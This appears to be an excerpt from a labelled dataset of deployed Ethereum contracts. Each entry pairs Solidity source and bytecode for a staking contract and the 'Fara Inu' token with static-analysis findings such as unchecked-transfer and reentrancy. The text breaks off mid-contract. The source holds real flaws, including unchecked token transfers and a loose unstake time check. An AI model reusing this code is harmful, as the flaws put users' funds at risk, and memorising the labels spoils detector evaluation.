b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561170b5781810151838201526020016116f3565b505050509050019650505050505050600060405180830381600087803b15801561173457600080fd5b505af1158015611748573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b60008261176c5750600061057a565b8282028284828161177957fe5b04146115885760405162461bcd60e51b81526004018080602001828103825260218152602001806120936021913960400191505060405180910390fd5b600061158883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611937565b806118055761180561199c565b6001600160a01b03841660009081526006602052604090205460ff16801561184657506001600160a01b03831660009081526006602052604090205460ff16155b1561185b576118568484846119ce565b611907565b6001600160a01b03841660009081526006602052604090205460ff1615801561189c57506001600160a01b03831660009081526006602052604090205460ff165b156118ac57611856848484611af2565b6001600160a01b03841660009081526006602052604090205460ff1680156118ec57506001600160a01b03831660009081526006602052604090205460ff165b156118fc57611856848484611b9b565b611907848484611c0e565b8061145857611458611c52565b6000806000611921611c60565b909250905061193082826117b6565b9250505090565b600081836119865760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156114b257818101518382015260200161149a565b50600083858161199257fe5b0495945050505050565b600c541580156119ac5750600d54155b156119b6576119cc565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806119e087611ddf565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611a129088611e3c565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a419087611e3c565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a709086611e7e565b6001600160a01b038916600090815260026020526040902055611a9281611ed8565b611a9c8483611f60565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611b0487611ddf565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611b369087611e3c565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611b6c9084611e7e565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611a709086611e7e565b600080600080600080611bad87611ddf565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611bdf9088611e3c565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611b369087611e3c565b600080600080600080611c2087611ddf565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a419087611e3c565b600e54600c55600f54600d55565b600a54600090819068056bc75e2d63100000825b600954811015611d9f57826002600060098481548110611c9057fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611cf55750816003600060098481548110611cce57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611d1357600a5468056bc75e2d6310000094509450505050611ddb565b611d536002600060098481548110611d2757fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611e3c565b9250611d956003600060098481548110611d6957fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611e3c565b9150600101611c74565b50600a54611db69068056bc75e2d631000006117b6565b821015611dd557600a5468056bc75e2d63100000935093505050611ddb565b90925090505b9091565b6000806000806000806000806000611dfc8a600c54600d54611f84565b9250925092506000611e0c611914565b90506000806000611e1f8e878787611fd3565b919e509c509a509598509396509194505050505091939550919395565b600061158883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061145e565b600082820183811015611588576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611ee2611914565b90506000611ef0838361175d565b30600090815260026020526040902054909150611f0d9082611e7e565b3060009081526002602090815260408083209390935560069052205460ff1615610e635730600090815260036020526040902054611f4b9084611e7e565b30600090815260036020526040902055505050565b600a54611f6d9083611e3c565b600a55600b54611f7d9082611e7e565b600b555050565b6000808080611f986064610f2d898961175d565b90506000611fab6064610f2d8a8961175d565b90506000611fc382611fbd8b86611e3c565b90611e3c565b9992985090965090945050505050565b6000808080611fe2888661175d565b90506000611ff0888761175d565b90506000611ffe888861175d565b9050600061201082611fbd8686611e3c565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200a4e49384d659a6a60607c170321cc5c6ef27c9c1981a394c4e1a847ee331dc764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,549
0x1f67CF72E449b60E27e28ba0170b06414b8908D5
/** *Submitted for verification at Etherscan.io on 2022-03-31 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.7; library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath#mul: OVERFLOW"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath#div: DIVISION_BY_ZERO"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath#sub: UNDERFLOW"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath#add: OVERFLOW"); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO"); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract SingleSidedStakingDNXC is Ownable { using SafeMath for uint256; struct StakerInfo { uint256 amount; uint256 startStakeTime; uint256 dnxA; uint256 dnxB; uint256 dnxC; } uint256 public stakingStart; uint256 public stakingEnd; uint256 public stakingClosed; uint256 public maximumStakedDNXC; uint256 public currentStakedDNXC; uint256 public minimumStake; IERC20 dnxcToken; // token being staked mapping(address => StakerInfo) public stakerInfo; uint256 internal fee; bool paused; bool emergencyUnstake; constructor(uint256 _minimumStake, uint256 _maximumStakedDNXC, uint256 _stakingStart, uint256 _stakingClosed, uint256 _stakingEnd, IERC20 _dnxcToken) { minimumStake = _minimumStake; maximumStakedDNXC = _maximumStakedDNXC; stakingStart = _stakingStart; stakingClosed = _stakingClosed; stakingEnd = _stakingEnd; paused = true; dnxcToken = _dnxcToken; } function changePause(bool _pause) onlyOwner public { paused = _pause; } function changeEmergency(bool _emergencyUnstake) onlyOwner public { emergencyUnstake = _emergencyUnstake; } function changeEndTime(uint256 endTime) public onlyOwner { stakingEnd = endTime; } function changeCloseTime(uint256 closeTime) public onlyOwner { stakingClosed = closeTime; } function changeStartTime(uint256 startTime) public onlyOwner { stakingStart = startTime; } function changeDNX(uint256 _dnxA, uint256 _dnxB, uint256 _dnxC) public { StakerInfo storage user = stakerInfo[msg.sender]; require (user.amount > 0, "E10"); user.dnxA = _dnxA; user.dnxB = _dnxB; user.dnxC = _dnxC; } function stake(uint256 _amount, uint256 _dnxA, uint256 _dnxB, uint256 _dnxC) public { require (paused == false, "E09"); require (block.timestamp >= stakingStart, "E07"); require (block.timestamp <= stakingClosed, "E08"); require (currentStakedDNXC.add(_amount) <= maximumStakedDNXC, "E09"); StakerInfo storage user = stakerInfo[msg.sender]; require (user.amount.add(_amount) >= minimumStake, "E01"); require (dnxcToken.transferFrom(msg.sender, address(this), _amount), "E02"); currentStakedDNXC = currentStakedDNXC.add(_amount); if (user.amount == 0) { user.startStakeTime = block.timestamp; } user.amount = user.amount.add(_amount); user.dnxA = _dnxA; user.dnxB = _dnxB; user.dnxC = _dnxC; } function unstake() public { require (emergencyUnstake || block.timestamp >= stakingEnd || block.timestamp <= stakingClosed, "E08"); StakerInfo storage user = stakerInfo[msg.sender]; dnxcToken.transfer( msg.sender, user.amount ); currentStakedDNXC = currentStakedDNXC.sub(user.amount); user.amount = 0; user.dnxA = 0; user.dnxB = 0; user.dnxC = 0; } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063a92ae61f116100a2578063e26ecafc11610071578063e26ecafc14610285578063e3184b25146102a1578063ec5ffac2146102bf578063f2fde38b146102dd578063f499672e146102f957610116565b8063a92ae61f1461020f578063b494745a1461022d578063ce93a8821461024b578063d771b0a61461026757610116565b80635d4fead3116100e95780635d4fead314610193578063715018a6146101af5780638aa5b2c3146101b95780638da5cb5b146101d5578063a31d7fdf146101f357610116565b80632def66201461011b5780633052b75e146101255780634e745f1f14610141578063517d041114610175575b600080fd5b610123610315565b005b61013f600480360381019061013a9190610fcf565b6104bf565b005b61015b60048036038101906101569190610f48565b610545565b60405161016c959493929190611408565b60405180910390f35b61017d61057b565b60405161018a91906113ed565b60405180910390f35b6101ad60048036038101906101a89190610f75565b610581565b005b6101b761061a565b005b6101d360048036038101906101ce9190610fcf565b6106a2565b005b6101dd610728565b6040516101ea9190611232565b60405180910390f35b61020d60048036038101906102089190610fcf565b610751565b005b6102176107d7565b60405161022491906113ed565b60405180910390f35b6102356107dd565b60405161024291906113ed565b60405180910390f35b6102656004803603810190610260919061104f565b6107e3565b005b61026f610b1d565b60405161027c91906113ed565b60405180910390f35b61029f600480360381019061029a9190610f75565b610b23565b005b6102a9610bbc565b6040516102b691906113ed565b60405180910390f35b6102c7610bc2565b6040516102d491906113ed565b60405180910390f35b6102f760048036038101906102f29190610f48565b610bc8565b005b610313600480360381019061030e9190610ffc565b610cc0565b005b600a60019054906101000a900460ff168061033257506002544210155b8061033f57506003544211155b61037e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103759061138d565b60405180910390fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3383600001546040518363ffffffff1660e01b8152600401610422929190611284565b602060405180830381600087803b15801561043c57600080fd5b505af1158015610450573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104749190610fa2565b5061048e8160000154600554610d6b90919063ffffffff16565b6005819055506000816000018190555060008160020181905550600081600301819055506000816004018190555050565b6104c7610dca565b73ffffffffffffffffffffffffffffffffffffffff166104e5610728565b73ffffffffffffffffffffffffffffffffffffffff161461053b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610532906113ad565b60405180910390fd5b8060028190555050565b60086020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154905085565b60025481565b610589610dca565b73ffffffffffffffffffffffffffffffffffffffff166105a7610728565b73ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906113ad565b60405180910390fd5b80600a60006101000a81548160ff02191690831515021790555050565b610622610dca565b73ffffffffffffffffffffffffffffffffffffffff16610640610728565b73ffffffffffffffffffffffffffffffffffffffff1614610696576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068d906113ad565b60405180910390fd5b6106a06000610dd2565b565b6106aa610dca565b73ffffffffffffffffffffffffffffffffffffffff166106c8610728565b73ffffffffffffffffffffffffffffffffffffffff161461071e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610715906113ad565b60405180910390fd5b8060018190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610759610dca565b73ffffffffffffffffffffffffffffffffffffffff16610777610728565b73ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c4906113ad565b60405180910390fd5b8060038190555050565b60035481565b60045481565b60001515600a60009054906101000a900460ff16151514610839576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610830906112cd565b60405180910390fd5b60015442101561087e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108759061132d565b60405180910390fd5b6003544211156108c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ba9061138d565b60405180910390fd5b6004546108db85600554610e9690919063ffffffff16565b111561091c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610913906112cd565b60405180910390fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600654610979868360000154610e9690919063ffffffff16565b10156109ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b1906112ad565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330886040518463ffffffff1660e01b8152600401610a199392919061124d565b602060405180830381600087803b158015610a3357600080fd5b505af1158015610a47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6b9190610fa2565b610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa19061136d565b60405180910390fd5b610abf85600554610e9690919063ffffffff16565b600581905550600081600001541415610adc574281600101819055505b610af3858260000154610e9690919063ffffffff16565b81600001819055508381600201819055508281600301819055508181600401819055505050505050565b60015481565b610b2b610dca565b73ffffffffffffffffffffffffffffffffffffffff16610b49610728565b73ffffffffffffffffffffffffffffffffffffffff1614610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b96906113ad565b60405180910390fd5b80600a60016101000a81548160ff02191690831515021790555050565b60055481565b60065481565b610bd0610dca565b73ffffffffffffffffffffffffffffffffffffffff16610bee610728565b73ffffffffffffffffffffffffffffffffffffffff1614610c44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3b906113ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cab906112ed565b60405180910390fd5b610cbd81610dd2565b50565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015411610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d419061134d565b60405180910390fd5b83816002018190555082816003018190555081816004018190555050505050565b600082821115610db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da79061130d565b60405180910390fd5b60008284610dbe91906114c2565b90508091505092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000808284610ea5919061146c565b905083811015610eea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee1906113cd565b60405180910390fd5b8091505092915050565b600081359050610f0381611732565b92915050565b600081359050610f1881611749565b92915050565b600081519050610f2d81611749565b92915050565b600081359050610f4281611760565b92915050565b600060208284031215610f5e57610f5d61156d565b5b6000610f6c84828501610ef4565b91505092915050565b600060208284031215610f8b57610f8a61156d565b5b6000610f9984828501610f09565b91505092915050565b600060208284031215610fb857610fb761156d565b5b6000610fc684828501610f1e565b91505092915050565b600060208284031215610fe557610fe461156d565b5b6000610ff384828501610f33565b91505092915050565b6000806000606084860312156110155761101461156d565b5b600061102386828701610f33565b935050602061103486828701610f33565b925050604061104586828701610f33565b9150509250925092565b600080600080608085870312156110695761106861156d565b5b600061107787828801610f33565b945050602061108887828801610f33565b935050604061109987828801610f33565b92505060606110aa87828801610f33565b91505092959194509250565b6110bf816114f6565b82525050565b60006110d260038361145b565b91506110dd82611572565b602082019050919050565b60006110f560038361145b565b91506111008261159b565b602082019050919050565b600061111860268361145b565b9150611123826115c4565b604082019050919050565b600061113b60178361145b565b915061114682611613565b602082019050919050565b600061115e60038361145b565b91506111698261163c565b602082019050919050565b600061118160038361145b565b915061118c82611665565b602082019050919050565b60006111a460038361145b565b91506111af8261168e565b602082019050919050565b60006111c760038361145b565b91506111d2826116b7565b602082019050919050565b60006111ea60208361145b565b91506111f5826116e0565b602082019050919050565b600061120d60168361145b565b915061121882611709565b602082019050919050565b61122c81611534565b82525050565b600060208201905061124760008301846110b6565b92915050565b600060608201905061126260008301866110b6565b61126f60208301856110b6565b61127c6040830184611223565b949350505050565b600060408201905061129960008301856110b6565b6112a66020830184611223565b9392505050565b600060208201905081810360008301526112c6816110c5565b9050919050565b600060208201905081810360008301526112e6816110e8565b9050919050565b600060208201905081810360008301526113068161110b565b9050919050565b600060208201905081810360008301526113268161112e565b9050919050565b6000602082019050818103600083015261134681611151565b9050919050565b6000602082019050818103600083015261136681611174565b9050919050565b6000602082019050818103600083015261138681611197565b9050919050565b600060208201905081810360008301526113a6816111ba565b9050919050565b600060208201905081810360008301526113c6816111dd565b9050919050565b600060208201905081810360008301526113e681611200565b9050919050565b60006020820190506114026000830184611223565b92915050565b600060a08201905061141d6000830188611223565b61142a6020830187611223565b6114376040830186611223565b6114446060830185611223565b6114516080830184611223565b9695505050505050565b600082825260208201905092915050565b600061147782611534565b915061148283611534565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114b7576114b661153e565b5b828201905092915050565b60006114cd82611534565b91506114d883611534565b9250828210156114eb576114ea61153e565b5b828203905092915050565b600061150182611514565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600080fd5b7f4530310000000000000000000000000000000000000000000000000000000000600082015250565b7f4530390000000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d617468237375623a20554e444552464c4f57000000000000000000600082015250565b7f4530370000000000000000000000000000000000000000000000000000000000600082015250565b7f4531300000000000000000000000000000000000000000000000000000000000600082015250565b7f4530320000000000000000000000000000000000000000000000000000000000600082015250565b7f4530380000000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f536166654d617468236164643a204f564552464c4f5700000000000000000000600082015250565b61173b816114f6565b811461174657600080fd5b50565b61175281611508565b811461175d57600080fd5b50565b61176981611534565b811461177457600080fd5b5056fea264697066735822122044314eb280bf92a2598e42031c907f57ab149b2f63ceda7d145d8f7ca74b2b6b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
2,550
0x2779c2a4290173fca08619d9be1e541d72e4825d
/** *Submitted for verification at Etherscan.io on 2022-04-30 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _dev; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FaraInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 2000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; struct Taxes { uint256 buyFee1; uint256 buyFee2; uint256 sellFee1; uint256 sellFee2; } Taxes private _taxes = Taxes(0,3,0,3); uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2; uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2; address payable private _feeAddrWallet; uint256 private _feeRate = 15; string private constant _name = "Fara Inu"; string private constant _symbol = "FARA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; bool private _isBuy = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x859D8aB69831509b781EF3059c9488cFBa4FbA9A); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); _isBuy = true; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){ require(!bots[from] && !bots[to]); _isBuy = false; } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function getIsBuy() private view returns (bool){ return _isBuy; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner { require(buyFee1 + buyFee2 <= initialTotalBuyFee); require(sellFee1 + sellFee2 <= initialTotalSellFee); _taxes.buyFee1 = buyFee1; _taxes.buyFee2 = buyFee2; _taxes.sellFee1 = sellFee1; _taxes.sellFee2 = sellFee2; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function setFeeRate(uint256 rate) external { require(_msgSender() == 